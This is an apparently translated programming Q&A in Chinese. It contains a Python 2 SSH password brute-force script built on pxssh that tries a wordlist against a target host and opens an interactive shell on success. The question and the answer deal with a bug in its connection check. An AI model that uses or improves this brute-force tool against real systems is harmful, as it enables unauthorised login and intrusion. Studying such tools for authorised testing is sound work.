导入相关库并使用pxssh库创建connect函数之后,我创建了main函数以接受'host,'user'和我提供的文件名的参数。
程序成功读取文件,并将每个密码字符串解析为s.login方法,并在找到密码后返回“成功”消息。我认为这意味着已经与ssh服务器建立了连接。但是从'con = connect'的 Angular 来看,我没有打印语句说[SSH已连接...]比在成功找到密码后得到命令行提示符更进一步,但输入命令后却出现了属性错误违反共识-
>ls -l
Traceback (most recent call last):
File "sshBruteFpw.py", line 60, in <module>
main()
File "sshBruteFpw.py", line 52, in main
con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root@kali:~/Desktop/scripts#
当我知道库包含此方法时,为什么con.sendline没有属性'sendline'令我困惑。我已经以其他方式测试了该sendline方法,它将起作用。
任何帮助对此表示赞赏。提前致谢...
import pxssh
import argparse
import time
import sys
import getpass
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] password found! ' + password
return s
except Exception, e:
if Fails > 5:
print '[-] Too many Socket Timeouts!!'
sys.exit(1)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file: #if these args are all true
with open(args.file, 'r') as infile: #open with and read only the specified file as 'infile'
for line in infile:
password = line.strip('\r\n')#read and strip each line
print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
con = connect(args.host, args.user, password)
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print con.before
command = raw_input(">")
else:
print parser.usage
sys.exit(1)
if __name__ == '__main__':
main()
最佳答案
除非缩进量很大,否则即使没有设置con
,您也将进入代码的该分支:
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
在第二行之后,应该有
continue
,如果连接失败,不是吗?